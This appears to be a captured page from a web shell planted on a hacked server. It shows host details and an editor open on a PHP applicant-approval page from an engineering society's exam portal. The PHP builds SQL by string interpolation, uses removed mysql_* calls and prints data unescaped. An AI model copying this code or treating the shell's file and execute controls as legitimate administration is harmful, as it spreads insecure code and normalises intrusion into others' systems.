One Hat Cyber Team
Your IP :
216.73.216.84
Server IP :
50.6.229.107
Server :
Linux server.hostburly.com 5.14.0-611.38.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 10 17:21:28 EDT 2026 x86_64
Server Software :
Apache
PHP Version :
8.2.30
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
andjemzt
/
nportal.andjemztech.com
/
examAdmin
/
Edit File:
view_branch_applicant.php
<? require ("inc/header.php"); ?> <script type="text/javascript"> function checkUncheckAll(theElement) { var theForm = theElement.form, z = 0; for(z=0; z<theForm.length;z++){ if(theForm[z].type == 'checkbox' && theForm[z].name != 'check_all'){ theForm[z].checked = theElement.checked; } } } </script> <script type="text/javascript"> function validate(form1){ if(!document.getElementById("my_check").checked){ alert("You have to select a student to approve"); return false } } </script> <? $officer_id=$_SESSION['officer_id']; $row=GetMany ("admin",$officer_id,"id"); $school_id=$row['school_id']; $branch_id=$row['branch_id']; echo "<br><b>NSE Branch Name:</b> "; echo GetAny("branch",$branch_id,"branchid","branch_name"); echo "<br><br><br>"; ?> <p style="background-color:#999; width:150px; height:20px;"><b>PENDING APPLICANTS</b></p> <form action="approve_branch_applicant.php" method="post" name="form1" onSubmit="return validate(form1);"> <table cellpadding="5" cellspacing="0" border="1" width="80%"> <tr><td colspan="8"><a href=print_students.php?>Print</a></td></tr> <tr><td colspan="8" align="center"><h3>Nigerian Society of Engineers, <? echo GetAny("branch",$branch_id,"branchid","branch_name");?> Branch </h3></td></tr> <tr><td><input type="checkbox" id="check_all" name="check_all" onClick="checkUncheckAll(this)" /></td><td>S/No</td><td>Applicant's Name</td><td>School Name</td><td>Department</td><td>Faculty</td><td>Level</td><td>View Applicants Profile</td></tr> <? $sql="SELECT * FROM clearance_status,reg_profile WHERE reg_profile.stud_id=clearance_status.stud_id AND reg_profile.branch_id='$branch_id' AND clearance_status.branch_verify='0' AND clearance_status.dean_verify='1' "; $result=mysql_query($sql); $sno=0; while ($row=mysql_fetch_array($result)){ $sno++; $surname=$row['surname']; $othernames=$row['othernames']; $schoolid=$row['school']; $level=$row['level']; $school_name=GetAny("universities",$schoolid,"id","name"); $fac=$row['faculty']; $dept=$row['dept']; $stud_id=$row['stud_id']; ?> <tr><td><input type="checkbox" name="my_check[]" id="my_check" value="<? echo $stud_id ?>" /></td> <td><? echo $sno ?></td><td><? echo "$surname $othernames" ?></td><td><? echo $school_name ?></td><td><? echo $dept ?></td><td><? echo $fac ?></td><td><? echo $level ?><td><a href=view_app_prof.php?stud_id=<? echo $stud_id ?>>View Applicant Profile</a></td> </tr> <? } ?> <tr> <td colspan="8"><input type="submit" name="submit" value="Approve" /> </table> </form> <? require("inc/footer.php"); ?>
Simpan